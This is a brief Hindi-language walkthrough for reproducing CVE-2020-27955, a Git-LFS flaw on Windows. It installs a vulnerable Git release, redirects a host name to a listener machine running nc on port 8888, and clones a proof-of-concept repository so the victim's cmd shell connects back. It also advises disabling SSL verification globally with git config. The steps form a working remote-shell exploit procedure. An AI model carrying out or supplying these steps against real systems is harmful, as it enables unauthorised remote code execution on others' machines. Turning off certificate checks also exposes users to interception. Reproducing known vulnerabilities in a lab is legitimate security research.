CVE-2020-27955 भेद्यता पुनरुत्पादन

1. विंडोज मशीन पर कमजोर संस्करण Git-LFS डाउनलोड करें

डाउनलोड लिंक: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1

2. विंडोज मशीन पर इंस्टॉल करें, होस्ट फ़ाइल में निम्नलिखित जानकारी जोड़ें, 10.1.1.5 वह होस्ट है जो nc 8888 पोर्ट पर सुन रहा है (आप स्वयं बदल सकते हैं)

10.1.1.5 abcall.xyz

3. 10.1.1.5 होस्ट पर, nc द्वारा पोर्ट 8888 पर सुनना शुरू करें

┌──(root㉿hostname)-[~]

└─# nc

Cmd line: -l -p 8888

4. विंडोज मशीन पर cmd कमांड लाइन में दर्ज करें

git clone https://github.com/z50913/CVE-2020-27955.git

5. 10.1.1.5 से विंडोज मशीन के cmd का शेल प्राप्त करें

#अन्य यदि ssl प्रमाणपत्र की समस्या आती है तो पहले निम्नलिखित कमांड दर्ज करें, ssl सत्यापन को अक्षम करें, फिर पुनः clone करें

git config --global http.sslverify false